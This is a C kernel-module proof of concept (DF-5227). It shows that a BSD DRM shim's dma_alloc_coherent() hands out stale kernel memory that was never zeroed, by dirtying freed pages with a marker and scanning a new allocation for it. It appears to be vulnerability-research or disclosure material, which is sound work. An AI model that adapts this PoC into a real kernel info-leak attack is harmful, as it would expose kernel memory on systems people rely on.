DF-5227 / poc5227.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | /* * DF-5227 PoC: dma_alloc_coherent() returns NON-ZEROED (stale) kernel memory. * * sys/dev/drm/linux_dma.c:31-74 implements dma_alloc_coherent as * kmem_alloc_contig(size, 0, POC_MAXADDR_32BIT, * PAGE_SIZE << get_order(size)); * which is contigmalloc_map(..., M_NOWAIT, ...) -- NO M_ZERO (vm_contig.c:612, * zeroing only happens with M_ZERO at vm_contig.c:533-534). The Linux DMA * API contract requires dma_alloc_coherent to return zeroed memory (the * disabled FreeBSD reference code inside the same function passes * BUS_DMA_ZERO; all live in-tree callers carry manual memset workarounds: * amdgpu_ih.c:66, drm_pci.c:130, radeon_gart.c:85). * * Demonstration (deterministic via the low-memory DMA reserve alist): * 1. contigmalloc() 2MB (same underlying allocator the shim uses), * 2. dirty it with an ASCII marker repeated in every page, * 3. contigfree() it -- pages return to the DMA reserve alist, contents * preserved, first-fit reuse (vm_page.c vm_page_alloc_contig/ alist), * 4. dma_alloc_coherent(NULL, 2MB) -- per contract must come back zeroed, * 5. scan for the marker. * * Any marker hit == stale kernel memory handed out to the device/GPU in a * "coherent" allocation. On real hardware the GPU can read that buffer and * userspace can read the GPU: kernel-info-leak. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <vm/vm_extern.h> /* 4GB DMA cap, same value the shim hardcodes (BUS_SPACE_MAXADDR_32BIT) */ #define POC_MAXADDR_32BIT 0xFFFFFFFFUL /* resolve from drm.ko (kldload drm first) */ struct device; extern void *dma_alloc_coherent(struct device *dev, size_t size, unsigned long *dma_handle, unsigned int flag); #define ALLOC_SZ (2 * 1024 * 1024) static const char marker[] = "DF5227-STALE-KERNEL-MEMORY-MARKER!"; static void hexdump_region(const char *tag, const unsigned char *p, size_t len) { size_t j; int i; for (j = 0; j < len; j += 16) { kprintf("%s %04zx:", tag, j); for (i = 0; i < 16; i++) kprintf(" %02x", p[j + i]); kprintf(" |"); for (i = 0; i < 16; i++) kprintf("%c", (p[j + i] >= 32 && p[j + i] < 127) ? p[j + i] : '.'); kprintf("|\n"); } } static int poc5227_handler(struct module *m, int what, void *arg) { unsigned char *dirty, *coh; unsigned long dh; vm_paddr_t dirty_pa, coh_pa; size_t i, j, npages, first_hit; long hits, stale_pages; if (what != MOD_LOAD) return 0; /* 1: dirty a 2MB contig block through the same allocator the shim uses */ dirty = contigmalloc(ALLOC_SZ, M_DEVBUF, M_WAITOK, 0, POC_MAXADDR_32BIT, PAGE_SIZE, 0); if (dirty == NULL) { kprintf("DF5227: contigmalloc failed\n"); return (ENOMEM); } dirty_pa = vtophys(dirty); memset(dirty, 0xA5, ALLOC_SZ); for (i = 0; i + sizeof(marker) <= ALLOC_SZ; i += PAGE_SIZE) memcpy(dirty + i, marker, sizeof(marker)); kprintf("DF5227: dirtied %dKB va=%016jx phys=%016jx, freeing...\n", ALLOC_SZ / 1024, (intmax_t)(uintptr_t)dirty, (intmax_t)dirty_pa); contigfree(dirty, ALLOC_SZ, M_DEVBUF); /* 2: the "coherent" allocation -- Linux contract says ZEROED memory */ coh = dma_alloc_coherent(NULL, ALLOC_SZ, &dh, 0 /* GFP_KERNEL */); if (coh == NULL) { kprintf("DF5227: dma_alloc_coherent failed\n"); return (ENOMEM); } coh_pa = vtophys(coh); kprintf("DF5227: dma_alloc_coherent va=%016jx dma=%016jx " "(just-freed block phys=%016jx)%s\n", (intmax_t)(uintptr_t)coh, (intmax_t)dh, (intmax_t)dirty_pa, (coh_pa == dirty_pa) ? " SAME PHYSICAL BLOCK" : ""); /* 3: scan */ hits = 0; stale_pages = 0; first_hit = 0; npages = ALLOC_SZ / PAGE_SIZE; for (i = 0; i + sizeof(marker) <= ALLOC_SZ; i++) { if (memcmp(coh + i, marker, sizeof(marker)) == 0) { if (hits == 0) first_hit = i; hits++; } } for (j = 0; j < npages; j++) { for (i = 0; i < PAGE_SIZE; i += 16) { if (coh[j * PAGE_SIZE + i] != 0) { stale_pages++; break; } } } kprintf("DF5227 RESULT: marker_hits=%ld stale_nonzero_pages=%ld/%zu\n", hits, stale_pages, npages); if (hits) { hexdump_region("DF5227 LEAK", coh + (first_hit & ~15UL), 96); kprintf("DF5227 VERDICT: REPRODUCED - dma_alloc_coherent handed " "out stale kernel memory (marker from the previous owner " "of those pages)\n"); } else { kprintf("DF5227 VERDICT: NOT reproduced (buffer was zero)\n"); } /* keep the allocation; module has no unload handler (freeing it * permanently leaks the pages: that is DF-5228) */ return (0); } static moduledata_t poc5227_mod = { "poc5227", poc5227_handler, NULL }; DECLARE_MODULE(poc5227, poc5227_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |